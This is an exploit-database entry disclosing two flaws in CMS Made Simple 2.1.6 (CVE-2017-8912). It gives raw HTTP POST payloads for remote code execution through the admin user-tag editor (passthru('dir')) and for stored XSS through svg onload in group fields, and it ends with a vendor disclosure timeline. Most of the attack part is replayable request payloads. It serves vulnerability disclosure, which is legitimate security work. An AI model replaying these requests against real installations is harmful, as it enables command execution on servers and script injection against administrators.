CMS Made Simple 2.1.6 - Multiple Vulnerabilities

EDB-ID: 41997
Author: Osanda Malith
Published: 2017-05-10
CVE: CVE-2017-8912
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date:              10-05-2017 
# Tested on: Windows 8 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912

Remote Code Execution
======================

POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1

_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1


Stored XSS
==========

POST /cmsms/admin/addgroup.php HTTP/1.1

_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true


Disclosure Timeline
====================

09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912

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